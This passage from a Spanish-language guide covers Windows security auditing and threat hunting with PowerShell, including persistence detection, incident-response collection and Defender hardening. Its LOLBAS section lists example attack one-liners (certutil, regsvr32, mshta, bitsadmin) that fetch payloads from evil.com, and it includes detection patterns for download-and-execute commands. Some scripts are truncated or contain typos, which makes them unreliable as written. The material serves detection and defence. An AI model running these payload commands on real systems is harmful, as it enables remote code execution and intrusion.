### Propiedades Críticas:

- **Enabled:** Cuentas habilitadas innecesariamente (Guest, Admin)
- **PasswordRequired:** Cuentas sin password (vulnerabilidad crítica)
- **PasswordLastSet:** Passwords nunca cambiados o muy antiguos



- **LastLogon:** Cuentas dormidas (no usadas, pero habilitadas)
- **AccountExpires:** Cuentas sin fecha de expiración

#### Banderas Rojas:

- Cuentas con nombres genéricos: "admin", "test", "temp", "user"
- PasswordRequired = False
- PasswordLastSet > 90 días
- Enabled pero LastLogon = nunca (cuenta creada y no usada)
- Cuenta Guest habilitada
- Múltiples cuentas con privilegios admin

#### Notas de Implementación:

- Combinar con `Get-LocalGroupMember -Group "Administrators"`
- Verificar SID para detectar cuentas renombradas (Administrator = S-1-5-21-...-500)
- Implementar política de rotación de passwords para cuentas locales admin
- Deshabilitar cuentas inactivas >90 días

---

### 5.5 Get-LocalGroupMember (Administradores)

```
Get-LocalGroupMember -Group "Administrators" |  
Select-Object Name, PrincipalSource, ObjectClass
```

**Propósito:** Listar miembros del grupo Administrators local.

**Categoría:** Cuentas, Privilegios, Compliance

**Relevancia para Auditoría:** (CRÍTICO)

#### Utilidad para Seguridad:

- **Detección de Amenazas:** Identificar cuentas no autorizadas con privilegios elevados
- **Compliance:** Validar principio de mínimo privilegio
- **Respuesta a Incidentes:** Detectar privilege escalation
- **Hardening:** Minimizar cantidad de administradores

**Principio de Mínimo Privilegio:**

- Solo personal de IT autorizado debe tener admin local
- Cuentas de usuarios regulares NUNCA deben ser admin
- Usar cuentas separadas para admin (user@domain vs admin@domain)
- Implementar Just-In-Time (JIT) admin access

**Indicadores de Compromiso:**

- Cuentas de usuario regular en Administrators
- Cuentas desconocidas o con nombres sospechosos
- Grupos de dominio inesperados
- Cuentas locales no documentadas

**Notas de Implementación:**

- Verificar también: "Remote Desktop Users", "Power Users", "Backup Operators"
- Auditar cambios en grupo Administrators (Event ID 4732, 4733)
- Comparar contra lista autorizada (whitelist)
- Implementar LAPS (Local Administrator Password Solution) para admin local

---

## 6. ANÁLISIS DEL REGISTRO (PERSISTENCIA)

### 6.1 Get-ItemProperty (Run Keys - HKLM)

```
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' |  
Format-Table -AutoSize
```

**Propósito:** Examinar clave de registro Run para detectar programas que se ejecutan al iniciar (persistencia común).

**Categoría:** Persistencia, Detección de Amenazas, Análisis de Registro

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Malware frecuentemente usa Run keys para persistencia
- **Threat Hunting:** Identificar entradas no autorizadas o sospechosas
- **Respuesta a Incidentes:** Eliminar persistencia maliciosa
- **Análisis Forense:** Reconstruir mecanismos de persistencia

### Ubicaciones Críticas de Persistencia en Registro:

#### HKLM (System-wide, requiere admin):

```
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
```

#### HKCU (Por usuario, no requiere admin):

```
HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Load
HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Run
```

### Indicadores de Malware:

- Nombres genéricos o aleatorios: "svchost32", "update", "system"
- Rutas sospechosas: %TEMP%, %APPDATA%, C:\ProgramData
- Ejecutables sin firma digital o publisher desconocido
- Comandos PowerShell/cmd con argumentos codificados
- Uso de rundll32, regsvr32, mshta para ejecutar

### Script Completo de Auditoría:

```
$autorunLocations = @(
    'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
    'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
    'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',
    'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',
```

```
'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit',  
'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell'  
)  
  
foreach ($loc in $autorunLocations) {  
    if (Test-Path $loc) {  
        Get-ItemProperty -Path $loc | Format-Table -AutoSize  
    }  
}
```

### Notas de Implementación:

- Ejecutar regularmente y comparar contra baseline
- Verificar firma digital de todos los ejecutables referenciados
- Calcular hash de binarios y comparar contra VirusTotal
- Monitorear modificaciones en tiempo real (Event ID 4657)
- Considerar herramientas: Autoruns (Sysinternals)

## 7. EVALUACIÓN REMOTA CON POWERSHELL

### 7.1 Enable-PSRemoting

```
Enable-PSRemoting -Force  
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "RemoteComputer" -Force
```

**Propósito:** Habilitar PowerShell Remoting para administración remota.

**Categoría:** Administración Remota, Configuración

**Relevancia para Auditoría:** (ALTO)

**Utilidad para Seguridad:**

- **Respuesta a Incidentes:** Ejecutar comandos de análisis remotamente
- **Threat Hunting:** Investigar múltiples sistemas sin acceso físico
- **Auditoría Centralizada:** Recolectar información de múltiples endpoints
- **Automatización:** Scripts de verificación masiva

**Consideraciones de Seguridad:**

- PSRemoting usa WinRM (puerto 5985 HTTP / 5986 HTTPS)
- Requiere autenticación (Kerberos por defecto en dominio)
- TrustedHosts con "\*" es inseguro (aceptar cualquier host)
- Preferir Kerberos sobre NTLM
- Usar HTTPS (puerto 5986) para tráfico encriptado

### Riesgos:

- Atacantes pueden usar PSRemoting para lateral movement
- Si comprometido, permite ejecución remota de código
- Event ID 4104, 4103 registran comandos remotos
- Logs en ambos sistemas (origen y destino)

### Notas de Implementación:

- Solo habilitar en sistemas que requieren administración remota
- Usar GPO para configurar centralizadamente
- Restringir acceso con `Set-PSSessionConfiguration`
- Implementar JEA (Just Enough Administration) para acceso limitado
- Monitorear Event ID 4688 (process creation) para wsmprovhost.exe

---

## 7.2 Invoke-Command (Ejecución remota)

```
Invoke-Command -ComputerName RemoteComputer -ScriptBlock {  
    Get-EventLog -LogName Security -Newest 10 | Select-Object TimeGenerated, Entr  
    Get-Process | Select-Object Name, Id, Path  
    Get-NetFirewallProfile | Select-Object Name, Enabled  
} -Credential (Get-Credential)
```

**Propósito:** Ejecutar comandos PowerShell en sistemas remotos.

**Categoría:** Administración Remota, Respuesta a Incidentes

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Respuesta a Incidentes:** Recolección rápida de evidencia sin acceso físico

- **Threat Hunting:** Búsqueda de IoCs en múltiples sistemas simultáneamente
- **Análisis en Vivo:** Inspección de sistemas comprometidos sin alertar al atacante
- **Auditoría Remota:** Verificación de configuraciones de seguridad

### Capacidades:

- Ejecutar comandos en múltiples sistemas: `-ComputerName Server1, Server2, Server3`
- Ejecución paralela (hasta 32 simultáneos por defecto)
- Pasar argumentos con `-ArgumentList`
- Sesiones persistentes con `New-PSSession`

### Ejemplos de Uso para IR:

#### Recolección Forense Remota:

```
$computers = Get-Content C:\servers.txt
Invoke-Command -ComputerName $computers -ScriptBlock {
    [PSCustomObject]@{
        Hostname = $env:COMPUTERNAME
        Processes = Get-Process | Where-Object {$_.Path -like "*temp*"}
        Connections = Get-NetTCPConnection -State Established
        Logins = Get-WinEvent -LogName Security -FilterXPath "[System[EventID=46
    }
}
```

#### Búsqueda de IoC Masiva:

```
$ioc_hash = "ABC123..." # Hash malicioso conocido
Invoke-Command -ComputerName (Get-ADComputer -Filter *).Name -ScriptBlock {
    param($hash)
    Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue |
    Get-FileHash | Where-Object {$_.Hash -eq $hash}
} -ArgumentList $ioc_hash
```

### Notas de Implementación:

- Usar `-ThrottleLimit` para controlar carga de red
- Implementar timeout para sistemas no responsivos
- Credenciales se transmiten seguras (Kerberos)

- Considerar `Enter-PSSession` para sesiones interactivas
- Todos los comandos remotos generan Event ID 4104

---

### 7.3 New-SelfSignedCertificate (HTTPS para WinRM)

```
$cert = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My"  
-DnsName $env:COMPUTERNAME  
-FriendlyName "PS Remoting Cert"  
-NotAfter (Get-Date).AddYears(1)  
  
New-Item -Path WSMan:\LocalHost\Listener -Transport HTTPS -Address *  
-CertificateThumbprint $cert.Thumbprint -Force
```

**Propósito:** Configurar WinRM con HTTPS para comunicación encriptada.

**Categoría:** Seguridad, Configuración, Hardening

**Relevancia para Auditoría:** (ALTO)

**Utilidad para Seguridad:**

- **Hardening:** Encriptar tráfico de administración remota
- **Compliance:** Cumplir requisitos de transmisión segura
- **Prevención:** Evitar sniffing de credenciales y comandos

**HTTP vs HTTPS en WinRM:**

- **HTTP (5985):** Autenticación encriptada pero comandos en texto plano
- **HTTPS (5986):** Todo el tráfico encriptado (SSL/TLS)
- HTTPS recomendado para redes no confiables o Internet

**Notas de Implementación:**

- Certificado auto-firmado adecuado para entornos internos
- Para producción, usar certificado de CA confiable
- Configurar firewall para permitir puerto 5986
- Clientes deben confiar en el certificado o usar `-SessionOption (New-PSSessionOption -SkipCACheck)`

## 8. THREAT HUNTING CON POWERSHELL

### 8.1 Detección de LOLBAS (Living Off the Land Binaries)

```
$lolbasBinaries = @("certutil.exe", "regsvr32.exe", "mshta.exe", "bitsadmin.exe",  
"regasm.exe", "regsvcs.exe", "msbuild.exe", "installutil.exe", "rundll32.exe",  
"odbcconf.exe", "wmic.exe")  
  
$lolbasEvents = Get-WinEvent -LogName "Security" -MaxEvents 10000 |  
Where-Object {  
    $_.Id -eq 4688 -and  
    ($lolbasBinaries | ForEach-Object { $_.Message -match $_ })  
} |  
Select-Object TimeCreated, Id,  
@{Name="CommandLine";Expression={$_.Properties[8].Value}},  
@{Name="User";Expression={$_.Properties[1].Value}}
```

**Propósito:** Detectar uso sospechoso de binarios legítimos de Windows para actividades maliciosas.

**Categoría:** Threat Hunting, Detección de Amenazas, Análisis de Comportamiento

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** LOLBAS son técnica común de evasión (binarios firmados por Microsoft)
- **Threat Hunting:** Identificar técnicas de "living off the land"
- **Respuesta a Incidentes:** Detectar uso malicioso de herramientas legítimas
- **Análisis de TTPs:** Mapear a MITRE ATT&CK framework

**LOLBAS Comunes y Usos Maliciosos:**

#### 1. certutil.exe:

- Legítimo: Gestión de certificados
- Malicioso: Descargar payloads, codificar/decodificar, hash
- Ejemplo: `certutil -urlcache -f http://evil.com/payload.exe`

#### 2. regsvr32.exe:



- Legítimo: Registrar DLLs
- Malicioso: Ejecutar código sin detección (Squiblydoo attack)
- Ejemplo: `regsvr32 /s /u /i//evil.com/payload.sct scrobj.dll`

### 3. mshta.exe:

- Legítimo: Ejecutar HTML Applications (.hta)
- Malicioso: Ejecutar JavaScript/VBScript malicioso
- Ejemplo: `mshta http://evil.com/payload.hta`

### 4. bitsadmin.exe:

- Legítimo: Background Intelligent Transfer Service
- Malicioso: Descargar payloads sigilosamente
- Ejemplo: `bitsadmin /transfer job http://evil.com/payload.exe C:\temp\p.exe`

### 5. rundll32.exe:

- Legítimo: Ejecutar funciones DLL
- Malicioso: Ejecución de código, JavaScript, DLL hijacking
- Ejemplo: `rundll32.exe javascript:"..\..\mshtml,RunHTMLApplication";document.write()`

### 6. wmic.exe:

- Legítimo: Windows Management Instrumentation
- Malicioso: Reconocimiento, ejecución remota, persistencia
- Ejemplo: `wmic process call create "powershell -enc <base64>"`

### 7. msbuild.exe:

- Legítimo: Compilar proyectos .NET
- Malicioso: Ejecutar código C# malicioso desde XML
- Ejemplo: `msbuild.exe malicious.xml`

### Event ID 4688:

- Requiere "Audit Process Creation" habilitado

- Incluir línea de comandos en audit (GPO setting)
- Ubicación GPO: Computer Configuration > Policies > Administrative Templates > System > Audit Process Creation > Include command line in process creation events

### Notas de Implementación:

- Crear baseline de uso legítimo (contexto de usuario, argumentos)
- Alertar sobre: ejecución desde usuarios no admin, argumentos con URLs, uso de /transfer, /download, -enc
- Expandir lista con referencias de lolbas-project.github.io
- Correlacionar con conexiones de red subsecuentes
- Integrar con reglas SIEM para detección en tiempo real

## 9. RESPUESTA A INCIDENTES CON POWERSHELL

### 9.1 Invoke-IncidentResponse (Recolección forense automatizada)

```
function Invoke-IncidentResponse {  
    param([Parameter(Mandatory=$true)][string]$OutputPath)  
  
    $timestamp = Get-Date -Format "yyyyMMdd-HH:mm:ss"  
    $casePath = Join-Path $OutputPath "IR_$timestamp"  
    New-Item -Path $casePath -ItemType Directory -Force | Out-Null  
  
    # System Information  
    Get-ComputerInfo | ConvertTo-Json -Depth 3 |  
        Out-File "$casePath\SystemInfo.json"  
  
    # Running Processes  
    Get-Process | Select-Object Name, Id, Path, Company, Product, StartTime,  
        CPU, WorkingSet, SessionId,  
        @{Name="MemoryUsageMB";Expression={[math]::Round($_.WorkingSet/1MB,2)}} |  
        Export-Csv "$casePath\Processes.csv" -NoTypeInformation  
  
    # Network Connections  
    Get-NetTCPConnection | Select-Object LocalAddress, LocalPort,  
        RemoteAddress, RemotePort, State, OwningProcess,  
        @{Name="ProcessName";Expression={(Get-Process -Id $_.OwningProcess -Error  
        Export-Csv "$casePath\NetworkConnections.csv" -NoTypeInformation  
}
```

**Propósito:** Script automatizado de recolección de evidencia forense durante respuesta a incidentes.

**Categoría:** Respuesta a Incidentes, Forense Digital, Automatización

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Respuesta a Incidentes:** Recolección rápida de evidencia volátil
- **Análisis Forense:** Capturar estado del sistema para análisis posterior
- **Cadena de Custodia:** Timestamped, structured data para uso legal
- **Automatización:** Respuesta consistente y reproducible

**Datos Adicionales a Recolectar (Expansión del Script):**

```
# DNS Cache
Get-DnsClientCache | Export-Csv "$casePath\DNSCache.csv" -NoTypeInformation

# Loaded Drivers
Get-WindowsDriver -Online | Export-Csv "$casePath\Drivers.csv" -NoTypeInformation

# Scheduled Tasks
Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'} |
    Export-Csv "$casePath\ScheduledTasks.csv" -NoTypeInformation

# Services
Get-Service | Export-Csv "$casePath\Services.csv" -NoTypeInformation

# Registry Persistence Keys
$runKeys = @( 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
              'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' )
foreach ($key in $runKeys) {
    if (Test-Path $key) {
        Get-ItemProperty $key |
            Out-File "$casePath\RegistryRun_$( $key -replace '[:\\]', '_' ).txt"
    }
}

# Recent Security Events
Get-WinEvent -LogName Security -MaxEvents 1000 |
    Export-Csv "$casePath\SecurityEvents.csv" -NoTypeInformation

# PowerShell Operational Logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 500 |
    Export-Csv "$casePath\PowerShellLogs.csv" -NoTypeInformation

# User Accounts
```

```
Get-LocalUser | Export-Csv "$casePath\LocalUsers.csv" -NoTypeInfoation
Get-LocalGroupMember -Group "Administrators" |
    Export-Csv "$casePath\Administrators.csv" -NoTypeInfoation

# Firewall Rules
Get-NetFirewallRule | Where-Object {$_.Enabled -eq $true} |
    Export-Csv "$casePath\FirewallRules.csv" -NoTypeInfoation

# Network Shares
Get-SmbShare | Export-Csv "$casePath\NetworkShares.csv" -NoTypeInfoation
Get-SmbConnection | Export-Csv "$casePath\SMBCConnections.csv" -NoTypeInfoation

# ARP Cache
Get-NetNeighbor | Export-Csv "$casePath\ARPCache.csv" -NoTypeInfoation

# Environment Variables
Get-ChildItem Env: | Export-Csv "$casePath\EnvironmentVariables.csv" -NoTypeInfoation

# Prefetch Files (indica ejecución de programas)
Get-ChildItem C:\Windows\Prefetch\*.pf | Select-Object Name, CreationTime, LastAccessTime
Export-Csv "$casePath\Prefetch.csv" -NoTypeInfoation
```

### Orden de Volatilidad (RFC 3227):

1. Memoria RAM (más volátil)
2. Conexiones de red, procesos en ejecución
3. Caché DNS, ARP, clipboard
4. Configuración de red, servicios
5. Archivos temporales
6. Archivos del sistema
7. Logs (menos volátil)

### Notas de Implementación:

- Ejecutar desde USB o red (no escribir en disco comprometido)
- Capturar memoria con herramientas especializadas (DumpIt, WinPmem)
- Documentar hash del recolector antes de ejecución
- Generar hash MD5/SHA256 de todos los archivos recolectados
- Incluir metadata: fecha/hora, usuario ejecutor, hostname
- Comprimir y proteger con password el paquete forense

## 10. WINDOWS DEFENDER Y GESTIÓN DE SEGURIDAD

### 10.1 Start-MpScan

```
Start-MpScan -ScanType QuickScan
```

**Propósito:** Iniciar escaneo de Windows Defender programáticamente.

**Categoría:** Antivirus, Detección de Malware

**Relevancia para Auditoría:** (ALTO)

**Utilidad para Seguridad:**

- **Respuesta a Incidentes:** Escanear sistema comprometido bajo demanda
- **Verificación:** Validar limpieza post-remediación
- **Automatización:** Integrar en scripts de verificación de seguridad

**Tipos de Escaneo:**

- **QuickScan** : Áreas comunes de infección (rápido, recomendado para checks regulares)
- **FullScan** : Todo el sistema (exhaustivo, tiempo considerable)
- **CustomScan -ScanPath C:\SuspiciousFolder** : Ruta específica

**Notas de Implementación:**

- QuickScan típicamente 5-15 min, FullScan 1-4 horas
- Verificar resultados con **Get-MpThreatDetection**
- Escaneos generan eventos en log Microsoft-Windows-Windows Defender/Operational
- Considerar impacto en performance durante escaneos completos

---

### 10.2 Get-MpComputerStatus

```
Get-MpComputerStatus | Select-Object AMServiceEnabled, AntispywareEnabled, AntivirusEnabled, BehaviorMonitorEnabled, IoavProtectionEnabled, RealTimeProtectionEnabled
```

**Propósito:** Verificar estado de protección de Windows Defender.

**Categoría:** Antivirus, Compliance, Detección

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Compliance:** Verificar que protecciones están habilitadas
- **Detección de Amenazas:** Identificar Defender deshabilitado (indicador de compromiso)
- **Respuesta a Incidentes:** Validar estado de protección durante investigación
- **Auditoría:** Verificar configuración de seguridad

**Propiedades Críticas:**

- **AMServiceEnabled:** Servicio principal de Defender activo
- **RealTimeProtectionEnabled:** Protección en tiempo real (crítico)
- **BehaviorMonitorEnabled:** Monitoreo de comportamiento sospechoso
- **IoavProtectionEnabled:** Inspección de descargas de Office/IE
- **OnAccessProtectionEnabled:** Escaneo de archivos al acceso
- **AntivirusSignatureLastUpdated:** Frescura de definiciones

**Banderas Rojas:**

- RealTimeProtectionEnabled = False (malware frecuentemente deshabilita)
- AntivirusSignatureAge > 7 días (desactualizado)
- BehaviorMonitorEnabled = False
- TamperProtectionEnabled = False (permite modificaciones no autorizadas)

**Notas de Implementación:**

- Ejecutar regularmente (diario) en todos los endpoints
- Alertar inmediatamente si RealTimeProtection = False
- Verificar Event ID 5001 (protección deshabilitada)
- Habilitar Tamper Protection vía GPO para prevenir deshabilitación maliciosa

---

## 10.3 Update-MpSignature

### Update-MpSignature

**Propósito:** Actualizar definiciones de virus de Windows Defender.

**Categoría:** Antivirus, Mantenimiento

**Relevancia para Auditoría:** (ALTO)

**Utilidad para Seguridad:**

- **Respuesta a Incidentes:** Actualizar definiciones antes de escaneo durante IR
- **Compliance:** Asegurar definiciones recientes
- **Prevención:** Protección contra amenazas más recientes

**Notas de Implementación:**

- Ejecutar antes de Start-MpScan para máxima efectividad
- Verificar actualización exitosa con `Get-MpComputerStatus | Select AntivirusSignatureLastUpdated`
- Windows Update normalmente actualiza automáticamente
- Considerar configurar update schedule con GPO

---

## 10.4 Get-MpPreference

```
Get-MpPreference | Format-List *enabled*
```

**Propósito:** Examinar configuración detallada de Windows Defender.

**Categoría:** Configuración, Hardening, Compliance

**Relevancia para Auditoría:** (ALTO)

**Utilidad para Seguridad:**

- **Hardening:** Verificar configuración óptima de protección
- **Compliance:** Validar against baseline de seguridad
- **Detección:** Identificar exclusiones no autorizadas

**Configuraciones Críticas:**

```
# Ver exclusiones (posible indicador de compromiso)
Get-MpPreference | Select-Object Exclusion*

# Configuraciones recomendadas
Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableBehaviorMonito
    DisableIOAVProtection, DisableScriptScanning, DisableArchiveScanning,
    SubmitSamplesConsent, MAPSReporting, PUAProtection
```

### Banderas Rojas:

- ExclusionPath contiene: C:\, C:\Windows, directorios de usuario completos
- ExclusionExtension incluye: .exe, .dll, .ps1
- DisableRealtimeMonitoring = True
- DisableScriptScanning = True (permite scripts maliciosos)
- SubmitSamplesConsent = Never (no envía muestras a Microsoft)

### Notas de Implementación:

- Documentar y justificar todas las exclusiones
- Revisar exclusiones regularmente (mensual)
- Minimizar exclusiones al mínimo necesario
- Alertar sobre cambios no autorizados en exclusiones

---

## 10.5 Get-MpThreatDetection

```
Get-MpThreatDetection | Select-Object ThreatID, Resources, InitialDetectionTime,
    ProcessName, DetectionSource
```

**Propósito:** Listar amenazas detectadas por Windows Defender.

**Categoría:** Detección de Amenazas, Respuesta a Incidentes

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Historial de detecciones indica intentos de compromiso
- **Respuesta a Incidentes:** Identificar infecciones activas o recientes



- **Análisis de Tendencias:** Patrones de ataque en el entorno
- **Compliance:** Documentar detecciones para auditorías

#### Propiedades Importantes:

- **ThreatID:** Identificador único de la amenaza
- **Resources:** Archivos/registros afectados
- **InitialDetectionTime:** Timestamp de detección
- **ProcessName:** Proceso que intentó ejecutar el malware
- **DetectionSource:** Origen de detección (RealTime, User, System, IOAV)
- **RemediationAction:** Acción tomada (Remove, Quarantine, Allow)

#### Acciones Recomendadas:

```
# Ver detalle de amenaza específica
Get-MpThreat -ThreatID <ID>

# Ver elementos en cuarentena
Get-MpThreatCatalog

# Remover amenaza específica
Remove-MpThreat -ThreatID <ID>

# Restaurar de cuarentena (solo para análisis)
Restore-MpThreat -ThreatID <ID>
```

#### Notas de Implementación:

- Correlacionar con Process Creation (Event ID 4688) para contexto
- Investigar detecciones repetidas (indicador de reinfección)
- Analizar Resources para entender vector de infección
- Exportar regularmente a SIEM para análisis centralizado

---

## 10.6 Set-MpPreference (Protecciones avanzadas)

```
Set-MpPreference -MAPSReporting Advanced
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -EnableControlledFolderAccess Enabled
Add-MpPreference -ControlledFolderAccessProtectedFolders "C:\Important"
```

**Propósito:** Configurar protecciones avanzadas de Windows Defender.

**Categoría:** Hardening, Configuración, Prevención

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Hardening:** Habilitar capas adicionales de protección
- **Prevención:** Proteger contra ransomware y exploits
- **Compliance:** Implementar controles de seguridad avanzados

**Protecciones Recomendadas:**

### 1. MAPS Reporting (Cloud Protection):

```
Set-MpPreference -MAPSReporting Advanced  
Set-MpPreference -SubmitSamplesConsent SendSafeSamples
```

- Envía metadata a Microsoft para análisis cloud
- **Advanced** proporciona protección más rápida contra nuevas amenazas
- Requiere conectividad a Internet

### 2. Network Protection:

```
Set-MpPreference -EnableNetworkProtection Enabled
```

- Bloquea acceso a dominios maliciosos conocidos
- Protege contra phishing y exploits basados en web
- Requiere Windows 10 1709+

### 3. Controlled Folder Access (Anti-Ransomware):

```
Set-MpPreference -EnableControlledFolderAccess Enabled  
Add-MpPreference -ControlledFolderAccessProtectedFolders @"C:\Confidential", "D:  
Add-MpPreference -ControlledFolderAccessAllowedApplications "C:\Apps\Trusted.exe"
```

- Protege carpetas contra modificación no autorizada
- Bloquea ransomware de encriptar archivos

- Requiere whitelist de aplicaciones legítimas

#### 4. Attack Surface Reduction (ASR Rules):

```
# Bloquear ejecutables de Office
Add-MpPreference -AttackSurfaceReductionRules_Ids 3B576869-A4EC-4529-8536-B80A776

# Bloquear JavaScript/VBScript lanzando ejecutables
Add-MpPreference -AttackSurfaceReductionRules_Ids D3E037E1-3EB8-44C8-A917-5792794

# Bloquear descarga de Office
Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C5
```

#### 5. Cloud Block Level:

```
Set-MpPreference -CloudBlockLevel High
Set-MpPreference -CloudExtendedTimeout 50
```

- **High** : Bloquea agresivamente archivos sospechosos
- CloudExtendedTimeout: Espera adicional para análisis cloud (segundos)

#### Notas de Implementación:

- Implementar Controlled Folder Access gradualmente (monitorear falsos positivos)
- ASR en modo Audit primero, luego Block
- Documentar excepciones necesarias
- Monitorear Event ID 1121, 1122, 1123, 1124 para bloqueos ASR
- Network Protection requiere licencia Microsoft 365 E5 o Defender for Endpoint

## 11. DETECCIÓN DE PERSISTENCIA MALICIOSA

### 11.1 Análisis de Tareas Programadas

```
Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } | ForEach-Object {
    $actions = $_.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments)" }
    $patterns = @('powershell.exe -e', 'cmd.exe /c', 'rundll32.exe', 'regsvr32.ex
        'wscript.exe', 'http://', 'https://', 'IEX', 'DownloadString')

    [PSCustomObject]@{
        TaskName = $_.TaskName
```

```

        Suspicious = ($patterns | Where-Object { ($actions -join) -match $_ }) -n
        Actions = ($actions -join ';')
    }
} | Sort-Object Suspicious -Descending | Format-Table -AutoSize

```

**Propósito:** Identificar tareas programadas sospechosas que podrían ser mecanismos de persistencia.

**Categoría:** Persistencia, Detección de Amenazas, Threat Hunting

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Tareas programadas son vector común de persistencia
- **Threat Hunting:** Identificar scheduled tasks creadas por atacantes
- **Respuesta a Incidentes:** Eliminar persistencia maliciosa
- **Análisis Forense:** Reconstruir mecanismos de persistencia

**Indicadores de Tareas Maliciosas:**

- Ejecución de PowerShell con `-enc`, `-e`, `Hidden`
- Descarga desde URLs (http:// o https://)
- Uso de LOLBAS: rundll32, regsvr32, wscript, mshta
- Comandos con IEX, DownloadString, Invoke-Expression
- Rutas sospechosas: %TEMP%, %APPDATA%, C:\ProgramData
- Triggers inusuales: cada minuto, al login, múltiples triggers

**Propiedades Adicionales a Verificar:**

```

Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'} | ForEach-Object {
    $task = $_
    $info = Get-ScheduledTaskInfo -TaskName $task.TaskName -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        TaskName = $task.TaskName
        TaskPath = $task.TaskPath
        Author = $task.Author
        State = $task.State
        LastRunTime = $info.LastRunTime
        NextRunTime = $info.NextRunTime
        Triggers = ($task.Triggers | ForEach-Object { $_.ToString() }) -join ';'
        Actions = ($task.Actions | ForEach-Object { $_.Execute + ' ' + $_.Argument }) -join ';'
        RunAsUser = $task.Principal.UserId
    }
}

```

```

        RunLevel = $task.Principal.RunLevel
    }
}

```

### Tareas Sospechosas Comunes:

- Nombres genéricos: "Update", "System", "Windows Task"
- Author vacío o no Microsoft
- RunAsUser = SYSTEM con acciones no estándar
- TaskPath en raíz () en lugar de subcarpetas
- Creadas recientemente con LastRunTime cercano a tiempo de compromiso

### Notas de Implementación:

- Exportar XML de tareas sospechosas: `Export-ScheduledTask -TaskName "Suspicious"`
- Verificar Event ID 4698 (scheduled task created)
- Comparar contra baseline de tareas conocidas
- Verificar firma digital de ejecutables referenciados
- Eliminar con: `Unregister-ScheduledTask -TaskName "Malicious" -Confirm:$false`

## 11.2 Análisis de Servicios Sospechosos

```

Get-WmiObject Win32_Service | Select-Object Name, DisplayName, State, StartMode,
PathName, StartName |
Where-Object {
    $_.PathName -notmatch '^C:\\(Windows|Program Files\\(x86\\))?' -and
    $_.StartMode -eq 'Auto' -and
    $_.State -eq 'Running'
} |
Format-Table -AutoSize

```

**Propósito:** Detectar servicios con configuración o ubicación sospechosa.

**Categoría:** Persistencia, Servicios, Detección de Amenazas

**Relevancia para Auditoría:** (CRÍTICO)

### Utilidad para Seguridad:

- **Detección de Amenazas:** Servicios maliciosos instalados como persistencia
- **Threat Hunting:** Identificar servicios en ubicaciones no estándar
- **Respuesta a Incidentes:** Eliminar servicios maliciosos
- **Hardening:** Identificar servicios innecesarios

### Indicadores de Servicios Maliciosos:

- PathName en: %TEMP%, %APPDATA%, C:\ProgramData, C:\Users\Public
- DisplayName genérico: "Windows Service", "System Service", "svchost"
- StartName inusual (no SYSTEM/LOCAL SERVICE/NETWORK SERVICE)
- Executable sin firma digital o publisher desconocido
- ServiceDll en rutas no estándar
- StartMode = Auto para servicio desconocido

### Análisis Extendido:

```
Get-CimInstance Win32_Service | ForEach-Object {  
    $service = $_  
    $path = $service.PathName -replace "'", ' ' -split ' ' | Select-Object -First  
    $signed = $null  
    if (Test-Path $path -ErrorAction SilentlyContinue) {  
        $signed = (Get-AuthenticodeSignature $path).Status  
    }  
  
    [PSCustomObject]@{  
        Name = $service.Name  
        DisplayName = $service.DisplayName  
        State = $service.State  
        StartMode = $service.StartMode  
        PathName = $service.PathName  
        StartName = $service.StartName  
        ProcessId = $service.ProcessId  
        Signed = $signed  
        Suspicious = ($path -notmatch '^C:\\(Windows|Program Files)') -and ($serv  
    }  
} | Where-Object {$_.Suspicious} | Format-Table -AutoSize
```

### Event ID Relevantes:

- **7045:** Nuevo servicio instalado (crítico para monitoreo)

- **7040:** Cambio en configuración de servicio
- **7036:** Servicio entró en estado running/stopped

#### Notas de Implementación:

